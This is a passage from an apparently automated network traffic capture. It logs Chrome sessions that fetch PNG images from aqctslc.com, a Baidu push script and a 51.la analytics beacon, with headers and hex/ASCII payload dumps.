2025-01-09 23:51:41 UTC	16384	IN	Data Raw: 76 3f 65 15 15 ca 63 f7 6c 3b 92 7b 2e 7f 8d 8c 84 3c a2 12 dc 58 ac 72 d1 0f 16 09 b1 a9 9c d3 f7 62 0e 15 ee 67 cd 66 b5 bb 3e 56 56 79 f8 f0 9b b5 b4 6d 1a 4f d3 cc 13 27 06 7a 43 13 c0 2e 4b ff 84 5a 9a a6 11 1d e9 e6 e3 29 b5 9a cc 5f 9d 2c f4 1d 7b ab 9d 0c 78 a6 c7 e9 01 80 e1 aa 29 19 51 31 9c db b2 9d d1 c3 4f 14 2e 4f 5b a2 66 d3 16 fd cc f8 c7 1f 54 be e3 9f c3 ee e2 c6 f3 9e e0 b6 0b 9f 23 2c 24 92 90 08 3b 36 bb f4 44 05 9b 10 57 28 7f ba e6 59 1e ba f9 75 dc 21 6a af 17 65 e5 55 9c 77 e7 64 be fa fe f8 dd 0c 35 70 c8 43 89 f0 8d d1 67 77 22 35 d9 54 59 e9 0c a0 5f 4d 6f 38 d3 55 ec 32 33 67 bf ae 47 5f ac 2a ba ec 35 0d 42 43 cc c7 11 0d d6 4f 6b 57 71 fe 63 0f 28 bf f9 c7 47 a5 f0 f0 b5 ef 33 a0 d3 38 00 34 8b 46 58 a4 54 7b 0b 66 fd bb 8d Data Ascii: v?ecl;{.<Xrbgf>VVymO'zC.KZ)_,{x)Q1O.O[fT#,$;6DW(Yu!jeUwd5pCgw"5TY_Mo8U23gG_*5BCOkWqc(G384FXT{f
2025-01-09 23:51:41 UTC	8974	IN	Data Raw: 66 45 95 97 09 bf 6e 26 bf d8 c5 a9 83 db e3 8c 89 c4 08 a0 69 4d 1c 74 15 62 78 5d 56 54 20 c2 ae 07 4a ca aa f8 e7 83 63 f8 ef db 93 f1 78 6d 19 86 f4 21 70 33 f5 68 f3 87 48 fa 84 82 c3 00 de 06 ee b0 43 79 fb c6 4d 79 f7 e2 ab 39 b7 b7 d2 db 06 7b 30 0c 48 4e 84 b4 54 48 4d 22 9c 1f e9 fc 8d eb b9 f5 9d d7 d8 9c 99 11 36 1b 92 13 d3 78 f7 81 d9 a4 25 a7 87 cd 86 83 89 4b 70 d2 b8 65 52 bd fd a1 69 2c 0a 4b 72 b9 fc de 41 21 3b fd 57 47 9f ce e9 7c f8 e4 19 1c df af 75 d8 6c a8 33 86 03 33 a1 31 66 7c 63 cc d8 f0 75 3a 04 f8 79 e6 1a ee 7c e2 0b b2 72 d4 27 20 ff ce 9b c0 bd 44 50 8b df ba 52 df 22 00 07 f3 0b 96 fd a7 a8 56 5c ea aa 62 c2 aa a5 6c dc 9f c3 f0 6e 3d 23 a3 71 d0 91 f0 78 ad ea 81 e2 32 f0 f9 31 0d 07 46 08 af 08 2a 5c 2e 9e 1e 37 86 5b Data Ascii: fEn&iMtbx]VT Jcxm!p3hHCyMy9{0HNTHM"6x%KpeRi,KrA!;WG\|ul331f\|cu:y\|r' DPR"V\bln=#qx21F*\.7[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49849	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:40 UTC	745	OUT	GET /themes/static/image/services-icon4.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:41 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:41 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:41 UTC	15103	IN	Data Raw: 33 61 66 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 58 08 06 00 00 01 74 5d 62 14 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 Data Ascii: 3af2PNGIHDRdXt]btEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49850	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:40 UTC	976	OUT	GET /themes/static/image/bing-wan-ying.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:41 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:41 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:41 UTC	16153	IN	Data Raw: 39 33 62 62 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 06 00 00 00 f4 78 d4 fa 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 14 55 d6 c0 e1 5f e7 30 39 27 86 89 cc 30 84 21 e7 9c 44 92 04 41 74 55 c4 8c 39 c7 35 ad ee ba eb ea ae d9 d5 cf b4 ea 9a 73 04 15 03 22 a2 e4 9c 73 66 60 18 60 72 ec ef 8f c2 5d 44 42 4f 55 75 57 87 f3 3e 4f 3f 28 4c 9d 3a 34 33 5d a7 6e dd 7b ae 09 21 c4 af d2 80 0e 40 36 d0 02 68 09 64 02 a9 80 1d 88 06 2c 40 1c 50 0f 54 00 e5 40 cd 91 5f 0f 01 9b 8e 79 6d 04 0e f8 f1 ef 10 aa Data Ascii: 93bbPNGIHDRxsBIT\|dpHYs+tEXtSoftwarewww.inkscape.org< IDATxwU_09'0!DAtU95s"sf``r]DBOUuW>O?(L:43]n{!@6hd,@PT@_ym
2025-01-09 23:51:41 UTC	16384	IN	Data Raw: 99 b8 fb aa 4b 35 c5 58 b7 ad 8c af 7e de aa 53 46 27 d6 ad 4d 0a ed f2 34 6d 6d 3c 0c d0 d4 5a 30 dc 48 01 a0 5e 3c 30 58 ed c1 bd 8a 52 68 a5 ad 0d a6 57 5e fd 7a 1d 07 ca d5 cf e4 b5 5a 2c dc 7e c1 39 3a 66 e4 05 8b 15 ac b2 aa 47 08 3d 8c 1a d4 97 0e 45 da 6e 36 1e 7d 63 91 4e d9 9c dc 94 d1 9a 46 01 1c c0 19 3a a5 12 16 a4 00 50 6f 2c 60 53 7b f0 39 83 f2 75 4c e5 c4 9e f9 54 db f3 bb 49 43 06 90 93 9e aa 53 36 5e 72 6a ea 0c 26 84 38 8a c9 64 e2 f6 cb 2f d4 14 e3 9b 79 5b 59 b3 e5 80 4e 19 9d d8 59 c3 0a 30 6b 7b 2c 2a 8f 01 9a 41 0a 00 f5 26 a9 3d d0 62 36 31 a9 7f ae 9e b9 1c d7 2f 6b 4a 58 a1 f1 87 f6 96 f3 55 b7 38 50 c7 04 d8 a4 00 10 42 4f 93 46 0c a3 55 b6 fa 6e a3 1e 0f 3c ff a1 ef 37 09 ca 4c 89 a2 77 b1 a6 c7 8d c3 91 c7 00 5e 93 02 40 9d Data Ascii: K5X~SF'M4mm<Z0H^<0XRhW^zZ,~9:fG=En6}cNF:Po,`S{9uLTICS6^rj&8d/y[YNY0k{,*A&=b61/kJXU8PBOFUn<7Lw^@
2025-01-09 23:51:41 UTC	5295	IN	Data Raw: 00 62 4f 46 01 b7 ab e8 28 3d 3d 83 37 5e ff 2f 19 19 59 2a ba 0b 5b 71 71 f1 8c 1a 39 96 51 23 c7 ee f4 e7 5b b7 16 b3 6a d5 0a 36 6e 5c 4f c1 c6 f5 ac 5c b9 8c 55 ab 56 b0 79 73 01 9e 10 3b c0 28 25 25 95 fc fc 6e e4 e7 75 21 2f bf 2b bd 7a f6 a5 77 ef be 74 ef de 8b 84 84 44 ab c3 b3 9d ff dc f3 18 e5 65 a5 7c f4 f1 7b 2a ba 3b 00 ef a9 9d d7 aa e8 4c d8 9f 24 00 62 77 d2 81 ff c3 bb ef df 94 d8 d8 38 5e 7d f5 03 ba 77 ef 65 3e aa 08 d5 be 7d ce f6 f2 c8 3b 4f e3 36 35 35 52 5c 5c 48 69 59 09 e5 65 65 6c db b6 c5 fb df e5 a5 6c dd 5a 4c 79 59 19 a5 65 25 34 36 36 d0 d0 50 8f c7 e3 a1 a6 c6 f7 23 7b e3 e2 e2 71 b9 5c c4 c4 38 89 8f 4f 20 23 23 93 cc cc 2c 32 33 b2 68 d7 ae 03 99 59 d9 7f fd 77 66 16 d9 d9 ed 49 4f cf 50 fc af 8f 6c 0e 87 83 27 9f 9c c5 Data Ascii: bOF(==7^/Y[qq9Q#[j6n\O\UVys;(%%nu!/+zwtDe\|{;L$bw8^}we>};O655R\\HiYeellZLyYe%466P#{q\8O ##,23hYwfIOPl'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49851	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:40 UTC	745	OUT	GET /themes/static/image/services-icon5.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:41 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:41 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:41 UTC	12503	IN	Data Raw: 33 30 63 61 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 58 08 06 00 00 01 74 5d 62 14 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 Data Ascii: 30caPNGIHDRdXt]btEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49852	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:40 UTC	978	OUT	GET /themes/static/image/qian-xiang-shan.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:41 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:41 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:41 UTC	16153	IN	Data Raw: 36 66 38 63 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 06 00 00 00 f4 78 d4 fa 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 74 1c d5 d9 06 f0 67 fb 4a 5a f5 6a 15 4b b6 2c c9 bd 1b dc 8d 6d 8a c1 a6 63 08 a6 06 12 6a 80 14 52 f8 d2 21 a4 92 84 50 42 28 a1 87 0e a6 99 80 81 04 4c b5 0d 98 62 8c 7b 2f 92 d5 eb f6 dd ef 8f c1 8e 8b 24 4b 73 ef cc dc 95 9e df 39 7b 72 82 77 ee bc da d9 9d fb ce ad 36 90 55 92 00 4c 06 30 1c c0 50 00 55 00 8a 01 a4 00 48 05 90 01 c0 0f a0 ed eb d7 5e 00 9b 01 ac 05 b0 0e c0 72 Data Ascii: 6f8cPNGIHDRxsBIT\|dpHYs+tEXtSoftwarewww.inkscape.org< IDATxwtgJZjK,mcjR!PB(Lb{/$Ks9{rw6UL0PUH^r
2025-01-09 23:51:41 UTC	12416	IN	Data Raw: 7f 22 22 4a 34 4c 00 24 e0 00 40 22 22 4a 34 4c 00 24 e0 22 40 44 44 94 68 58 75 49 c0 2e 00 22 22 4a 34 4c 00 24 60 02 40 44 44 89 86 09 80 04 4c 00 88 88 28 d1 30 01 90 80 09 00 11 11 25 1a 26 00 12 70 16 00 11 11 25 1a 26 00 12 b0 05 80 88 88 12 0d 13 00 09 98 00 10 11 51 a2 61 02 20 01 d7 01 20 22 a2 44 c3 aa 4b 02 8e 01 20 22 a2 44 c3 04 40 82 b8 d5 01 10 11 11 f5 12 13 00 09 d8 00 40 44 44 89 86 09 80 04 1c 04 48 44 44 89 86 09 80 04 ec 02 20 22 a2 44 c3 04 40 02 b6 00 10 11 51 a2 61 02 20 01 eb 7f 22 22 4a 34 4c 00 88 88 88 fa 21 26 00 32 b0 09 80 88 88 12 0c 13 00 09 58 ff 13 11 51 a2 61 02 40 44 44 d4 0f 31 01 90 80 b3 00 88 88 28 d1 38 ad 0e 80 88 c4 c5 62 31 ec d8 b1 15 d5 35 7b 10 f0 07 0c 39 87 37 c9 8b 82 fc 01 28 29 29 83 dd ce 67 07 a2 44 Data Ascii: ""J4L$@""J4L$"@DDhXuI.""J4L$`@DDL(0%&p%&Qa "DK "D@@DDHDD "D@Qa ""J4L!&2XQa@DD1(8b15{97())gD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49843	58.254.150.48	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	528	OUT	GET /linksubmit/push.js HTTP/1.1 Host: zz.bdstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:41 UTC	459	IN	HTTP/1.1 200 OK Server: JSP3/2.0.14 Date: Thu, 09 Jan 2025 23:51:41 GMT Content-Type: application/x-javascript Content-Length: 308 Connection: close Last-Modified: Tue, 24 Dec 2024 09:23:03 GMT ETag: "676a7d77-134" Cache-Control: max-age=86400 Age: 72018 Accept-Ranges: bytes Tracecode: 34859128060498373130010908 Ohc-Global-Saved-Time: Thu, 09 Jan 2025 00:58:05 GMT Ohc-Cache-HIT: gz3un59 [2], xzuncache54 [2] Ohc-Response-Time: 1 0 0 0 0 0
2025-01-09 23:51:41 UTC	308	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 2f 28 5b 68 74 74 70 7c 68 74 74 70 73 5d 3a 5c 2f 5c 2f 5b 61 2d 7a 41 2d 5a 30 2d 39 5c 5f 5c 2e 5d 2b 5c 2e 62 61 69 64 75 5c 2e 63 6f 6d 29 2f 67 69 2c 72 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 74 3d 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 3b 69 66 28 21 65 2e 74 65 73 74 28 72 29 29 7b 76 61 72 20 6f 3d 22 68 74 74 70 73 3a 2f 2f 73 70 30 2e 62 61 69 64 75 2e 63 6f 6d 2f 39 5f 51 34 73 69 6d 67 32 52 51 4a 38 74 37 6a 6d 39 69 43 4b 54 2d 78 68 5f 2f 73 2e 67 69 66 22 3b 74 3f 28 6f 2b 3d 22 3f 72 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 2c 72 26 26 28 6f 2b 3d 22 26 6c 3d 22 2b 72 Data Ascii: !function(){var e=/([http\|https]:\/\/[a-zA-Z0-9\_\.]+\.baidu\.com)/gi,r=window.location.href,t=document.referrer;if(!e.test(r)){var o="https://sp0.baidu.com/9_Q4simg2RQJ8t7jm9iCKT-xh_/s.gif";t?(o+="?r="+encodeURIComponent(document.referrer),r&&(o+="&l="+r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49857	199.91.74.208	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	355	OUT	GET /v6/collect?dt=4 HTTP/1.1 Host: collect-v6.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:41 UTC	315	IN	HTTP/1.1 220 Date: Thu, 09 Jan 2025 23:51:41 GMT Content-Length: 0 Connection: close Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers via: LA-MEX-queretaro-EDGE2-CACHE8[213],LA-MEX-queretaro-EDGE2-CACHE8[ovl,211] X-CCDN-REQ-ID-46B1: 11aa3adc3173697bb68156a093e7bf51

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49858	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:41 UTC	966	OUT	GET /themes/static/image/cta.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201736468497050%2C%20%22ct%22%3A%201736466697050%7D; __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054
2025-01-09 23:51:41 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:41 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:41 UTC	16153	IN	Data Raw: 38 36 38 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 7c 00 00 01 df 08 03 00 00 00 3c dd 2a 79 00 00 03 00 50 4c 54 45 00 00 00 02 02 02 00 00 00 02 02 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 02 02 00 00 00 00 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 03 00 00 00 01 01 02 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fb fb fb 00 01 01 00 01 01 00 00 00 00 00 00 00 00 00 4d e9 f2 ab 6b dc 00 00 00 01 01 02 51 ed f8 00 00 01 4f eb f4 51 ed f7 00 00 00 04 07 09 50 ed f7 95 5f bf 00 00 00 c5 c3 e6 01 01 02 ad 6e dd ad 6d dd 50 ed f5 ac 6d dc ab 6d db 51 ed f7 4e Data Ascii: 8682PNGIHDR\|<*yPLTEMkQOQP_nmPmmQN
2025-01-09 23:51:41 UTC	16384	IN	Data Raw: e4 b3 b6 ba 89 4f 51 d9 09 c0 79 a5 08 87 c5 f7 00 e7 2c 71 de c8 74 03 d9 5d 1b 39 fb d8 1f 3c 28 7e 7e f7 be a0 9e 76 01 22 be 47 46 7c 5d 00 97 6a cd 2d 4e 63 02 ca ab 2c 4d 30 1b 38 1d 02 31 25 9f 10 f1 e5 24 31 1e d9 46 93 df e3 ca 46 8f 36 87 db 1e c5 66 db 8c d8 8b de 85 96 a8 0e 7b ca aa 34 02 69 19 08 8b ce 5a c2 ec f0 ee 7c 37 44 f7 e1 65 01 1e dd d3 5d be a7 5b b6 81 1a 5a 72 03 03 c1 a6 02 07 db 68 7c 81 c1 cb 90 91 50 96 9c 9c 6c 2b 4a d9 76 5e 7a 72 55 81 d1 84 90 0c 69 27 52 7c 25 65 a0 84 5f a5 2f 7c 33 a3 3f 0a 00 ae 24 ed 85 4d 73 e8 a0 01 12 3a 7d b2 3a b1 ae bc 5c 2d 8c 1a 23 c2 c3 59 7d 2f 5b cd ce 34 9b 40 9c fe d8 da b0 dd 11 a9 99 15 1e 54 e3 c6 d6 9c 43 47 cf 72 23 00 7e f2 ca 99 85 21 e0 8b 86 10 f1 75 06 59 a5 86 58 38 c8 2a 13 Data Ascii: OQy,qt]9<(~~v"GF\|]j-Nc,M081%$1FF6f{4iZ\|7De][Zrh\|Pl+Jv^zrUi'R\|%e_/\|3?$Ms:}:\-#Y}/[4@TCGr#~!uYX8*
2025-01-09 23:51:41 UTC	1910	IN	Data Raw: f3 a8 13 11 ba d0 67 94 53 04 90 cf b7 da 63 38 09 e6 48 72 3e 98 b0 10 33 42 e1 31 67 38 d1 14 0e 11 eb 58 bc 98 57 24 d4 65 fc f4 d6 6f 20 ec d9 74 ab bd f5 0f de aa 60 0b 5f c8 d8 3d df ca 6f ba 85 86 96 49 42 19 e4 10 00 a4 18 34 28 0c 20 a9 ff 99 24 4c 19 8c 2f e9 74 46 1c 39 5f 3a 16 8b 15 72 d1 a8 27 32 a9 8a 46 83 05 9b c8 b4 e5 ec 9a a5 3f 9f fd 67 89 a7 33 d8 b0 f7 e7 5f 2a d8 2a 93 dc 39 3e 56 7f cf f7 f4 09 00 e8 3a 9f 69 a1 34 00 79 ae ad bd 9e 8c 1a 19 27 fa 4b 64 24 c6 8b 65 41 6a de e8 29 4a 99 55 29 0a 03 3d ce 35 4d eb eb b7 e9 d1 0c 5a aa 3f ff 5a 45 07 0a d9 51 88 01 b0 fe ed 42 db 4b 6a 5b 58 27 a1 4c ec 76 28 28 a8 cb 08 68 92 60 02 3f 6f 20 95 04 ef b5 8e 18 1d d3 72 6c 96 d6 d7 57 ee a8 c8 b5 b7 f7 c7 7b 4b e8 24 43 76 34 09 d5 ae Data Ascii: gSc8Hr>3B1g8XW$eo t`_=oIB4( $L/tF9_:r'2F?g3_**9>V:i4y'Kd$eAj)JU)=5MZ?ZEQBKj[X'Lv((h`?o rlW{K$Cv4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
